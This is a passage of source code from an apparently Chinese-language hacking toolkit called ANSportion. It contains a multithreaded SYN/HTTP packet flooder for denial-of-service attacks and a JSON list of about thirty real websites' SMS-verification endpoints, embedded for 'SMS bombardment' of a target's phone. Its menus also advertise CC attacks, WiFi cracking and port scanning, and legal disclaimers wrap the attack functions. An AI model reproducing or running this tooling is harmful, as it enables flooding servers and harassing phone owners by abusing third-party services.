200 | packet = self.create_syn_packet()
201 | sock.sendto(packet, (self.ip, port))
202 | elif ptype == 'http':
203 | packet = self.create_http_packet()
204 | if self.family == socket.AF_INET6:
205 | sock.sendto(packet, (self.ip, port, 0, 0))
206 | else:
207 | sock.sendto(packet, (self.ip, port))
208 |
209 | with self.lock:
210 | self.counter += 1
211 | if self.counter % 100 == 0:
212 | ports_str = ','.join(map(str, self.ports))
213 | types_str = ','.join(self.packet_types)
214 | print(f"已发送 {self.counter} 个 {types_str} 数据包到 IP: {self.ip} 的端口: {ports_str}", end="\r")
215 |
216 | time.sleep((1000 - self.speed) / 2000)
217 | except socket.error as e:
218 | print(f"\n网络错误: {e}")
219 | break
220 | except Exception as e:
221 | print(f"\n未知错误: {e}")
222 | break
223 | except Exception as e:
224 | print(f"\n创建socket错误: {e}")
225 |
226 | def start(self):
227 | print(f"\n[攻击信息]")
228 | print('-' * 50)
229 | print(f"目标IP: {self.ip}")
230 | print(f"IP类型: {'IPv6' if ':' in self.ip else 'IPv4'}")
231 | print(f"攻击速度: {self.speed}")
232 | print(f"攻击端口: {self.ports}")
233 | print(f"线程数量: {self.threads}")
234 | print(f"包类型: {self.packet_types}")
235 | print('-' * 50)
236 | print("\n正在攻击...\n")
237 |
238 | try:
239 | threads_per_port = max(1, self.threads // len(self.ports))
240 | for port in self.ports:
241 | for _ in range(threads_per_port):
242 | thread = threading.Thread(target=self.attack_port, args=(port,))
243 | thread.daemon = True
244 | thread.start()
245 |
246 | try:
247 | while True:
248 | time.sleep(1)
249 | except KeyboardInterrupt:
250 | self.running = False
251 | print("\n正在停止攻击...")
252 | time.sleep(1)
253 | finally:
254 | for sock in self.sockets:
255 | try:
256 | sock.close()
257 | except:
258 | pass
259 |
260 | print(f"\n攻击已停止")
261 | print(f"总共发送了 {self.counter} 个数据包")
262 |
263 | def DOS_thread_dos_main():
264 | print(Fore.RED + title)
265 | print(Fore.GREEN + version)
266 | print(Fore.YELLOW + "[安全警告]")
267 | print(Fore.YELLOW + "-" * 40)
268 | print(Fore.YELLOW + "1. 请确保您有目标网站的访问授权")
269 | print(Fore.YELLOW + "2. 高频攻击可能导致IP被封禁")
270 | print(Fore.YELLOW + "3. 按 Ctrl+C 停止攻击")
271 | print(Fore.YELLOW + "-" * 40 + Fore.RESET)
272 |
273 | try:
274 | attack = Attack()
275 | attack.start()
276 | except Exception as e:
277 | print(f"\n程序异常: {e}")
278 |
279 | DOS_thread_dos_main()
280 |
281 | def attack_dos_main():
282 | os.system("cls" if os.name == 'nt' else "clear")
283 | print(Fore.YELLOW + "[安全警告]")
284 | print(Fore.YELLOW + "-" * 40)
285 | print(Fore.YELLOW + "1. 请确保您有目标网站的访问授权")
286 | print(Fore.YELLOW + "2. 高频攻击可能导致IP被封禁")
287 | print(Fore.YELLOW + "3. 按 Ctrl+C 停止攻击")
288 | print(Fore.YELLOW + "-" * 40)
289 | print(Fore.YELLOW + "\n[重要法律声明]")
290 | print(Fore.YELLOW + "=" * 50)
291 | print(Fore.YELLOW + "根据 - 中华人民共和国刑法 - 第285、286条规定:")
292 | print(Fore.YELLOW + "- 未经授权对计算机系统实施攻击可处5年以下有期徒刑")
293 | print(Fore.YELLOW + "- 造成严重后果者可处5年以上有期徒刑")
294 | print(Fore.YELLOW + "=" * 50 + Fore.RESET)
295 |
296 | confirm = input("\n您确认已获得合法授权且了解法律风险吗? (y/n): ")
297 | if confirm.lower() in ['y', 'yes']:
298 | os.system("cls" if os.name == 'nt' else "clear")
299 | start()
300 | else:
301 | print("操作已取消")
302 | os.system("cls" if os.name == 'nt' else "clear")
303 |
--------------------------------------------------------------------------------
/ANSportion.py:
--------------------------------------------------------------------------------
1 | #库导入
2 | import os
3 | from colorama import init, Fore
4 | import sys
5 | import platform
6 | import random
7 |
8 | #所有初始化
9 | download_html = """
10 |
11 |
12 | Download file
13 |
14 |
15 | Welcome to the download page
16 | Download
17 |
18 | """
19 |
20 | target_html = """
21 |
22 |
23 |
24 |
25 | HTML
26 |
40 |
41 |
42 | Hello
43 | XXX_STALKER
44 |
45 | """
46 |
47 | plugins_tutorial = """欢迎 您 加入 ANSportion Plugins 计划。
48 |
49 | 1. 首先我们需要一个引导文件,用于引导 ANSportion 去打开该引导文件的插件。
50 |
51 | 引导文件格式:
52 |
53 | 插件名用 'XXX' 代替
54 | 文件名: XXX_guide.py
55 | --------------------------------------------------------------------------------------------------------
56 | def RUN():
57 | print("插件 XXX 正在启动...")
58 | print("正在检查插件的引导文件...")
59 |
60 | with open("plugins/plugins_list.txt", "r", encoding="utf-8") as f:
61 | plu_list = f.readlines()
62 | if len(plu_list) == "XXX":
63 | if "XXX" in plu_list:
64 | print("插件 XXX 的插件表存在")
65 | else:
66 | print("插件 XXX 的插件表不存在")
67 | choose = input("是否创建插件 XXX 的插件表?(y/n)")
68 | if choose in ["y", "Y"]:
69 | with open("plugins/plugins_list.txt", "a", encoding="utf-8") as f:
70 | f.write("XXX\n")
71 | print("插件 XXX 的插件表已成功创建")
72 | else:
73 | print("插件 XXX 的插件表已取消创建")
74 | print("尝试打开插件的引导文件...")
75 | try:
76 | import importlib
77 | module = importlib.import_module("plugins.XXX.XXX_main")
78 | XXX_run = getattr(module, "XXX_run")
79 | XXX_run()
80 | except Exception as e:
81 | print(f"插件启动失败: {str(e)}")
82 |
83 | if __name__ == "__main__":
84 | RUN()
85 | --------------------------------------------------------------------------------------------------------
86 |
87 | 2. 写完引导文件之后需要配置插件的主程序文件。
88 |
89 | 主程序文件的格式:
90 |
91 | 插件名用 'XXX' 代替
92 | 文件名: XXX_main.py
93 | --------------------------------------------------------------------------------------------------------
94 | [ 你的脚本 ]
95 |
96 | def XXX_run():
97 | [ 你的脚本 ]
98 |
99 | if __name__ == "__main__":
100 | print(f"{'-' * 48}\n\t\tANSportion 插件 [ 填写作者名字 ] \n{'-' * 48}")
101 | --------------------------------------------------------------------------------------------------------
102 |
103 | 4. 最后在写入一个配置该插件的教程文件(用于帮助使用者更好的配置文件)。
104 |
105 | 直接复制就好,修改插件名就好。
106 | 文件名: config XXX.txt
107 | --------------------------------------------------------------------------------------------------------
108 | 将 XXX_guide.py 文件移动至 plugins 文件夹里面。
109 | 还需要在插件表里面配置该插件的环境,如何配置?
110 | 1. 可以在 ANSportion.py 文件中配置:
111 | 首先运行文件或它的EXE,然后输入指令 'plu' 打开名为 'plu' 的模块,在输入和 '配置指定插件的插件表' 相对应的序列号,
112 | 最后按照提示输入信息就可以配置成功了
113 | 2. 可以直接通过修改 插件表 来进行配置:
114 | 首先打开 plugins/plugins_list.txt 文件,在该文件最后一行输入该插件的名字,名字必须一模一样!(得保证最后一行是空的情况下!就是输入完记得回车!)
115 | --------------------------------------------------------------------------------------------------------
116 |
117 | 5. 以上格式请严格遵循,否则 ANSportion 将无法识别该插件。
118 |
119 | 欢迎所有创作者加入 ANSportion Plugins 计划。"""
120 |
121 | attack_2_API = """[
122 | {
123 | "url": "https://passport.csdn.net/v1/login/sendVerifyCode",
124 | "headers": {
125 | "Host": "passport.csdn.net",
126 | "Content-Type": "application/json;charset=UTF-8",
127 | "User-Agent": "Mozilla/5.0 (Linux; Android 13; PHW110 Build/RKQ1.211119.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.134 Mobile Safari/537.36"
128 | },
129 | "payload": {
130 | "code": "0086",
131 | "platform": "WAP",
132 | "type": "popupLogin",
133 | "spm": "1001.2101.3001.7902",
134 | "mobile": ""
135 | }
136 | },
137 | {
138 | "url": "https://zmingcx.com/wp-content/themes/begin/mail-captcha.php?0.17748457886315183",
139 | "headers": {
140 | "Host": "zmingcx.com",
141 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
142 | "User-Agent": "Mozilla/5.0 (Linux; Android 13; PHW110 Build/RKQ1.211119.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.134 Mobile Safari/537.36"
143 | },
144 | "payload": {
145 | "action": "eer_captcha",
146 | "email": "",
147 | "user_name": "kisskdk"
148 | }
149 | },
150 | {
151 | "url": "https://shanghai.chinatax.gov.cn/jkfw/api/v1.0/services/ssqh/sendCrcByPhoneNum?phoneNum={mobile}",
152 | "dynamic": true
153 | },
154 | {
155 | "desc": "用户到家",
156 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
157 | "method": "GET",
158 | "header": "",
159 | "data": ""
160 | },
161 | {
162 | "desc": "小叶子app",
163 | "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
164 | "method": "GET",
165 | "header": "",
166 | "data": ""
167 | },
168 | {
169 | "desc": "人人文库",
170 | "url": "https://www.renrendoc.com/Reg.aspx/GetUserSMSCode",
171 | "method": "POST",
172 | "header": {
173 | "Content-Type": "application/json; charset=UTF-8",
174 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
175 | "X-Requested-With": "XMLHttpRequest"
176 | },
177 | "data": {
178 | "userMobile": "[phone]"
179 | }
180 | },
181 | {
182 | "desc": "巨人网络",
183 | "url": "https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=",
184 | "method": "GET",
185 | "header": {
186 | "Referer": "https://reg.ztgame.com/",
187 | "X-Requested-With": "XMLHttpRequest"
188 | },
189 | "data": ""
190 | },
191 | {
192 | "desc": "金中网",
193 | "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
194 | "method": "GET",
195 | "header": "",
196 | "data": ""
197 | },
198 | {
199 | "desc": "永城至敏",
200 | "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
201 | "method": "GET",
202 | "header": "",
203 | "data": ""
204 | },
205 | {
206 | "desc": "某数图表web(存疑)",
207 | "url": "https://dycharts.com/vis/auth/send_signin_sms_code",
208 | "method": "POST",
209 | "header": "",
210 | "data": {
211 | "phoneNo": "13809213237"
212 | }
213 | },
214 | {
215 | "desc": "加密电话",
216 | "url": "https://m.4009991000.com/valNumQry.action",
217 | "method": "POST",
218 | "header": "",
219 | "data": {
220 | "appType": "1",
221 | "app_id": "5555",
222 | "mobileNo": "[phone]",
223 | "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
224 | "src": "1",
225 | "v": "4.9.2",
226 | "validType": "3"
227 | }
228 | },
229 | {
230 | "desc": "秘塔写作",
231 | "url": "https://xiezuocat.com/verify?type=signup",
232 | "method": "POST",
233 | "header": "",
234 | "data": {
235 | "phone": "86-[phone]"
236 | }
237 | },
238 | {
239 | "desc": "乐教乐学",
240 | "url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
241 | "method": "GET",
242 | "header": "",
243 | "data": ""
244 | },
245 | {
246 | "desc": "网心云APP",
247 | "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
248 | "method": "POST",
249 | "header": "",
250 | "data": {
251 | "protocolVersion": "301",
252 | "sequenceNo": "1000001",
253 | "platformVersion": "10",
254 | "isCompressed": "0",
255 | "appid": "22017",
256 | "clientVersion": "3.15.1",
257 | "peerID": "00000000000000000000000000000000",
258 | "appName": "ANDROID-com.onethingcloud.android",
259 | "sdkVersion": "204500",
260 | "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
261 | "netWorkType": "WIFI",
262 | "providerName": "NONE",
263 | "deviceModel": "M2102J2SC",
264 | "deviceName": "Xiaomi M2102j2sc",
265 | "OSVersion": "11",
266 | "creditkey": "",
267 | "hl": "zh-CN",
268 | "mobile": "[phone]",
269 | "register": "0"
270 | }
271 | },
272 | {
273 | "desc": "费耘网",
274 | "url": "https://www.feeclouds.com/homepage/register/send",
275 | "method": "POST",
276 | "header": "",
277 | "data": {
278 | "mobile": "[phone]"
279 | }
280 | },
281 | {
282 | "desc": "广东省心理学会",
283 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
284 | "method": "POST",
285 | "header": "",
286 | "data": {
287 | "phone": "[phone]"
288 | }
289 | },
290 | {
291 | "desc": "火象",
292 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
293 | "method": "POST",
294 | "header": "",
295 | "data": {
296 | "temp": "1",
297 | "phone": "[phone]"
298 | }
299 | },
300 | {
301 | "desc": "麦克赛尔数字映像",
302 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
303 | "method": "POST",
304 | "header": "",
305 | "data": {
306 | "action": "send",
307 | "txtMember_Name": "[phone]"
308 | }
309 | },
310 | {
311 | "desc": "企米子",
312 | "url": "https://www.xcxui.com/index/register/getcode.html",
313 | "method": "POST",
314 | "header": "",
315 | "data": {
316 | "tel": "[phone]"
317 | }
318 | },
319 | {
320 | "desc": "能链开放平台",
321 | "url": "https://openplatformwsgateway.czb365.com/openplatformws/user/send/sendCheckMsgV7/[phone]",
322 | "method": "GET",
323 | "header": "",
324 | "data": ""
325 | },
326 | {
327 | "desc": "蘑菇云游",
328 | "url": "https://www.moguyouxi.cn/Home/SendVerificationCode",
329 | "method": "POST",
330 | "header": {
331 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
332 | "Referer": "https://www.moguyouxi.cn/"
333 | },
334 | "data": {
335 | "phone": "[phone]",
336 | "code": ""
337 | },
338 | "form": ""
339 | },
340 | {
341 | "desc": "奇热漫画",
342 | "url": "https://www.qiremanhua.com/passport/send_msg_code",
343 | "method": "POST",
344 | "header": {
345 | "Content-Type": "application/x-www-form-urlencoded",
346 | "Referer": "https://www.qiremanhua.com/passport/reg/?redirectUri=%2F"
347 | },
348 | "data": {
349 | "phone": "[phone]"
350 | },
351 | "form": ""
352 | },
353 | {
354 | "desc": "好好住",
355 | "url": "https://www.haohaozhu.cn/f/y/api/Login/Identifyingcode",
356 | "method": "POST",
357 | "header": {
358 | "Content-Type": "application/x-www-form-urlencoded",
359 | "Referer": "https://www.haohaozhu.cn/"
360 | },
361 | "data": {
362 | "phone": "[phone]",
363 | "country_code":"86",
364 | "identifying_type":"1"
365 | },
366 | "form": ""
367 | },
368 | {
369 | "desc": "宜搜小说",
370 | "url": "https://book.easou.com/ta/phonevcode.m",
371 | "method": "POST",
372 | "header": {
373 | "Content-Type": "application/x-www-form-urlencoded",
374 | "Referer": "https://book.easou.com/ta/registerByPhone.m?backUrl=%2Fta%2Findex.m"
375 | },
376 | "data": {
377 | "phone": "[phone]"
378 | },
379 | "form": ""
380 | },
381 | {
382 | "desc": "泛付 PanPay",
383 | "url": "https://www.panpay.com/e-bank/verifyPhoneCode.do",
384 | "method": "POST",
385 | "header": {
386 | "Content-Type": "application/x-www-form-urlencoded"
387 | },
388 | "data": {
389 | "phone": "[phone]",
390 | "tplType": "01",
391 | "type": "BIND_PHONE",
392 | "phoneCountry": "86"
393 | },
394 | "form": ""
395 | },
396 | {
397 | "desc": "鳳凰金融",
398 | "url": "https://www.fengwd.com/api/v2/user/loginRegister/captcha/text?version=1.0",
399 | "method": "post",
400 | "data": {
401 | "mobile": "[phone]"
402 | },
403 | "header": {
404 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
405 | "Referer": "https://www.fengwd.com/",
406 | "Content-Type": "application/x-www-form-urlencoded",
407 | "Cookie": "fjr_properties=%7B%22abtest%22%3A%22c%22%7D; _ga=GA1.2.1239566769.1689827740; _gid=GA1.2.1620323177.1689827740; _gat=1; Hm_lvt_cca0837a014621d8d933a0b1b2cb0be5=1689827740; Hm_lpvt_cca0837a014621d8d933a0b1b2cb0be5=1689827740; _ga_RQJV198NYX=GS1.2.1689827743.1.0.1689827743.0.0.0"
408 | },
409 | "form": ""
410 | },
411 | {
412 | "desc": "四川航空",
413 | "url": "https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN",
414 | "method": "get",
415 | "data": "",
416 | "header": {
417 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
418 | "Referer": "https://flights.sichuanair.com/3uair/ibe/profile/createProfile.do"
419 | }
420 | },
421 | {
422 | "desc": "安徽相亲网",
423 | "url": "https://www.ahxiangqin.cn/index.php?c=picker&a=sendmobile",
424 | "method": "post",
425 | "data": {
426 | "type": "reg",
427 | "mobile": "[phone]",
428 | "imgcode": "validcode",
429 | "email": "[phone]",
430 | "qq": "[phone]"
431 | },
432 | "header": {
433 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
434 | "Referer": "https://www.ahxiangqin.cn/index.php?c=passport&a=reg",
435 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
436 | },
437 | "form": ""
438 | },
439 | {
440 | "desc": "印象笔记",
441 | "url": "https://app.yinxiang.com/SendOneTimePassword.action?sig=b4d74d0018ad5084638ae1333f4c2a61&recipient=[phone]&textotp=",
442 | "method": "get",
443 | "data": "",
444 | "header": {
445 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
446 | }
447 | }
448 | ]"""
449 |
450 | cc_headers = """'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'"""
451 |
452 | def init_ANS_plugins():
453 | if not os.path.exists("plugins"):
454 | os.mkdir("plugins")
455 |
456 | if not os.path.exists("plugins/plugins_list.txt"):
457 | with open("plugins/plugins_list.txt", 'w', encoding='utf-8') as file:
458 | file.write("")
459 |
460 | if not os.path.exists("plugins/plugins_tutorial.txt"):
461 | with open("plugins/plugins_tutorial.txt", 'w', encoding='utf-8') as file:
462 | file.write(plugins_tutorial)
463 |
464 | if not os.path.exists("attack_2_API.json"):
465 | with open("attack_2_API.json", "w", encoding='utf-8') as file:
466 | file.write(attack_2_API)
467 |
468 | if not os.path.exists("HTML_Code"):
469 | os.mkdir("HTML_Code")
470 |
471 | if not os.path.exists("HTML_Code/target.html"):
472 | with open("HTML_Code/target.html", 'w', encoding='utf-8') as file:
473 | file.write(target_html)
474 |
475 | if not os.path.exists("HTML_Code/download.html"):
476 | with open("HTML_Code/download.html", 'w', encoding='utf-8') as file:
477 | file.write(download_html)
478 |
479 | if not os.path.exists("cc_headers.txt"):
480 | with open("cc_headers.txt", 'w', encoding='utf-8') as file:
481 | file.write(cc_headers)
482 |
483 | system = platform.system()
484 | init_ANS_plugins()
485 | init()
486 | ANSportion_version = "1.1.9 - Pro"
487 |
488 | ANSportion_input_1 = "┌── ("
489 | ANSportion_input_2 = "ANSportion-PRO"
490 | ANSportion_input_3 = f") ~ [+ {system} +]\n└─ $ "
491 |
492 | #自定义导入文字
493 | ANSportion1_1 = """
494 | ▄▄▄ ███▄ █ ██████ ██▓███ ▒█████ ██▀███ ▄▄▄█████▓ ██▓ ▒█████ ███▄ █
495 | ▒████▄ ██ ▀█ █ ▒██ ▒ ▓██░ ██▒▒██▒ ██▒▓██ ▒ ██▒▓ ██▒ ▓▒▓██▒▒██▒ ██▒ ██ ▀█ █
496 | ▒██ ▀█▄ ▓██ ▀█ ██▒░ ▓██▄ ▓██░ ██▓▒▒██░ ██▒▓██ ░▄█ ▒▒ ▓██░ ▒░▒██▒▒██░ ██▒▓██ ▀█ ██▒
497 | ░██▄▄▄▄██ ▓██▒ ▐▌██▒ ▒ ██▒▒██▄█▓▒ ▒▒██ ██░▒██▀▀█▄ ░ ▓██▓ ░ ░██░▒██ ██░▓██▒ ▐▌██▒
498 | ▓█ ▓██▒▒██░ ▓██░▒██████▒▒▒██▒ ░ ░░ ████▓▒░░██▓ ▒██▒ ▒██▒ ░ ░██░░ ████▓▒░▒██░ ▓██░
499 | ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒ ░░ ░▓ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒
500 | ▒ ▒▒ ░░ ░░ ░ ▒░░ ░▒ ░ ░░▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ░ ▒ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░
501 | ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░
502 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
503 | """
504 |
505 | ANSportion1_2 = '''
506 | ,,
507 | db `7MN. `7MF'.M"""bgd mm db
508 | ;MM: MMN. M ,MI "Y MM
509 | ,V^MM. M YMb M `MMb. `7MMpdMAo. ,pW"Wq.`7Mb,od8 mmMMmm `7MM ,pW"Wq.`7MMpMMMb.
510 | ,M `MM M `MN. M `YMMNq. MM `Wb 6W' `Wb MM' "' MM MM 6W' `Wb MM MM
511 | AbmmmqMA M `MM.M . `MM MM M8 8M M8 MM MM MM 8M M8 MM MM
512 | A' VML M YMM Mb dM MM ,AP YA. ,A9 MM MM MM YA. ,A9 MM MM
513 | .AMA. .AMMA..JML. YM P"Ybmmd" MMbmmd' `Ybmd9'.JMML. `Mbmo.JMML. `Ybmd9'.JMML JMML.
514 | MM
515 | .JMML.
516 | '''
517 |
518 | ANSportion2 = f"""
519 | 版本: {ANSportion_version}
520 | 切记不可用于任何非法用途!!!"""
521 |
522 | ANSportion3 = """注意!!!:
523 | 需要联网,否则部分功能不能使用!
524 |
525 | 粉丝群: QQ:991478664
526 |
527 | =================================================================
528 | 输入 'help' 即可查看帮助
529 | =================================================================
530 | 输入 'about' 即可查看关于我们的基本信息
531 | ================================================================="""
532 |
533 | help = """
534 | _ _ _____ _ ____
535 | | | | | ____| | | _ \
536 | | |_| | _| | | | |_) |
537 | | _ | |___| |___| __/
538 | |_| |_|_____|_____|_|
539 | ================================ help ================================
540 | help --- View Help 查看帮助
541 | exit --- exit the program 退出程序
542 | cls --- clear screen 清屏
543 | clear --- clear screen 清屏
544 | about --- About 关于我们
545 | log --- Check log 查看日志
546 | log all --- Check all log 查看所有日志
547 | ----------------------------------------------------------------------
548 | plu --- plugins 插件
549 | check --- check 查看
550 | attack --- attack 攻击
551 | wifi --- Wi-Fi Wi-Fi
552 | listen --- listen 监听
553 | port --- port 端口
554 | crawler --- crawler 爬虫
555 | server --- server 服务器
556 | ======================================================================
557 | """
558 |
559 | about = """
560 | ================================ about ================================
561 | 团队名:
562 | XXX_Stalker
563 |
564 | 制作者名单:
565 | YoMon 前端/后端
566 | GHO高泽林GAO 测试
567 |
568 | QQ:991478664
569 | GitCode: https://gitcode.com/XXX_Stalker/ANSportion
570 | GitHub: https://github.com/XXX-Stalker/ANSportion
571 | =======================================================================
572 | """
573 |
574 | plugins = """
575 | _ _
576 | _ __ | |_ _ __ _(_)_ __ ___
577 | | '_ \| | | | |/ _` | | '_ \/ __|
578 | | |_) | | |_| | (_| | | | | \__ \
579 | | .__/|_|\__,_|\__, |_|_| |_|___/
580 | |_| |___/
581 | ============================================== plugins ==============================================
582 | 1 --- check 查看插件
583 | 2 --- check all 查看所有插件
584 | 3 --- Configure the plug-in table for the specified plug-in 配置指定插件的插件表
585 | 4 --- Delete the plug-in table for the specified plug-in 删除指定插件的插件表
586 | 5 --- install 安装插件(需要装 git 并配置好环境)
587 | 6 --- uninstall 卸载插件
588 | 7 --- Reset plug-in table 重置插件表
589 | 8 --- Check Official website plugins 查看官网插件
590 | =====================================================================================================
591 | """
592 |
593 | ANSportion_plugins = """
594 | ·▄▄▄·▄▄▄▪ ▄▄· ▪ ▄▄▄· ▄▄▌ ▄▄▌ ▐ ▄▌▄▄▄ .▄▄▄▄· .▄▄ · ▪ ▄▄▄▄▄▄▄▄ . ▄▄▄·▄▄▌ ▄• ▄▌ ▄▄ • ▪ ▐ ▄ .▄▄ ·
595 | ▪ ▐▄▄·▐▄▄·██ ▐█ ▌▪██ ▐█ ▀█ ██• ██· █▌▐█▀▄.▀·▐█ ▀█▪▐█ ▀. ██ •██ ▀▄.▀· ▐█ ▄███• █▪██▌▐█ ▀ ▪██ •█▌▐█▐█ ▀.
596 | ▄█▀▄ ██▪ ██▪ ▐█·██ ▄▄▐█·▄█▀▀█ ██▪ ██▪▐█▐▐▌▐▀▀▪▄▐█▀▀█▄▄▀▀▀█▄▐█· ▐█.▪▐▀▀▪▄ ██▀·██▪ █▌▐█▌▄█ ▀█▄▐█·▐█▐▐▌▄▀▀▀█▄
597 | ▐█▌.▐▌██▌.██▌.▐█▌▐███▌▐█▌▐█ ▪▐▌▐█▌▐▌ ▐█▌██▐█▌▐█▄▄▌██▄▪▐█▐█▄▪▐█▐█▌ ▐█▌·▐█▄▄▌ ▐█▪·•▐█▌▐▌▐█▄█▌▐█▄▪▐█▐█▌██▐█▌▐█▄▪▐█
598 | ▀█▄▀▪▀▀▀ ▀▀▀ ▀▀▀·▀▀▀ ▀▀▀ ▀ ▀ .▀▀▀ ▀▀▀▀ ▀▪ ▀▀▀ ·▀▀▀▀ ▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀ .▀ .▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀▀▀ █▪ ▀▀▀▀
599 | ============================================== Official website plugins ==============================================
600 | 1 --- Mans_Ber:
601 | --- --- 用法:用于生成加密文件程序的ANSportion插件
602 | --- --- https://github.com/XXX-Stalker/ANS-Mans_Ber
603 | ======================================================================================================================
604 | """
605 |
606 | check_help = """
607 | ____ _ _
608 | / ___| |__ ___ ___| | __
609 | | | | '_ \ / _ \/ __| |/ /
610 | | |___| | | | __/ (__| <
611 | \____|_| |_|\___|\___|_|\_\
612 | ====================================== check ======================================
613 | 1 --- Check your various IP addresses 查看自己的各个IP
614 | 2 --- Check if the IP is a valid IP 查看IP是否为有效IP
615 | 3 --- Crawling the real IP of the website 查看网站真实IP
616 | 4 --- Check the Mac address of me 查看自己的Mac地址
617 | 5 --- View network interface information 查看网络接口信息
618 | ===================================================================================
619 | """
620 |
621 | attack_help = """
622 | _ _ _ _
623 | / \ | |_| |_ __ _ ___| | __
624 | / _ \| __| __/ _` |/ __| |/ /
625 | / ___ \ |_| || (_| | (__| <
626 | /_/ \_\__|\__\__,_|\___|_|\_\
627 | ================================ attack ================================
628 | 1 --- DOS Attack Pack DOS攻击包
629 | 2 --- SMS bombardment 短信轰炸
630 | 3 --- CC attack CC攻击包
631 | ========================================================================
632 | """
633 |
634 | wifi_help = """
635 | __ ___ _____ ___
636 | \ \ / (_) | ___|_ _|
637 | \ \ /\ / /| |_____| |_ | |
638 | \ V V / | |_____| _| | |
639 | \_/\_/ |_| |_| |___|
640 | ======================================= wifi =======================================
641 | 1 --- Connect to WiFi 连接WiFi
642 | 2 --- WiFi hack WiFi破解
643 | 3 --- Scan surrounding WiFi 扫描周围WiFi
644 | 4 --- Unlimited WiFi connection 无限连接WiFi
645 | ====================================================================================
646 | """
647 |
648 | listen_help = """
649 | _ _ _
650 | | | (_)___| |_ ___ _ __
651 | | | | / __| __/ _ \ '_ \
652 | | |___| \__ \ || __/ | | |
653 | |_____|_|___/\__\___|_| |_|
654 | ====================================== listen ======================================
655 | 1 --- Monitor the port status of the IP host 监听IP主机的端口状态
656 | ====================================================================================
657 | """
658 |
659 | port_help = """
660 | ____ _
661 | | _ \ ___ _ __| |_
662 | | |_) / _ \| '__| __|
663 | | __/ (_) | | | |_
664 | |_| \___/|_| \__|
665 | ============================================= port =============================================
666 | 1 --- Check the open ports of the IP 扫描IP的指定范围的开放端口
667 | 2 --- Check if the port is open 扫描指定端口是否开放
668 | ================================================================================================
669 | """
670 |
671 | crawler_help = """
672 | ____ _
673 | / ___|_ __ __ ___ _| | ___ _ __
674 | | | | '__/ _` \ \ /\ / / |/ _ \ '__|
675 | | |___| | | (_| |\ V V /| | __/ |
676 | \____|_| \__,_| \_/\_/ |_|\___|_|
677 | =================================== crawler ===================================
678 | 1 --- Crawling the source code of a website 爬取网站的源代码
679 | 2 --- Crawling website status 爬取网站状态
680 | ===============================================================================
681 | """
682 |
683 | server_help = """
684 | ____
685 | / ___| ___ _ ____ _____ _ __
686 | \___ \ / _ \ '__\ \ / / _ \ '__|
687 | ___) | __/ | \ V / __/ |
688 | |____/ \___|_| \_/ \___|_|
689 | ========================================== server ==========================================
690 | 1 --- Create a server (website) 创建一个服务器(网站)
691 | 2 --- Create a download file server (website) 创建一个下载文件服务器(网站)
692 | ============================================================================================
693 | """
694 |
695 | #程序代码函数主体
696 | def program_code_body():
697 | while True:
698 | try:
699 | program_input = input(Fore.MAGENTA + ANSportion_input_1 + Fore.RED + ANSportion_input_2 + Fore.MAGENTA + ANSportion_input_3 + Fore.RESET)
700 | if program_input == "help":#系统指令 提供帮助
701 | print(help)
702 | elif program_input == "exit":#系统指令 退出程序
703 | sys.exit()
704 | elif program_input in ["cls", "clear"]:#系统指令 清屏
705 | os.system("cls" if os.name == 'nt' else 'clear')
706 | elif program_input == "about":#系统指令 关于我们
707 | print(about)
708 | elif program_input == "log":#查看更新日志
709 | if os.path.exists("更新日志1.ans"):
710 | with open("更新日志1.ans", 'r', encoding='utf-8') as file:
711 | log_content = file.read()
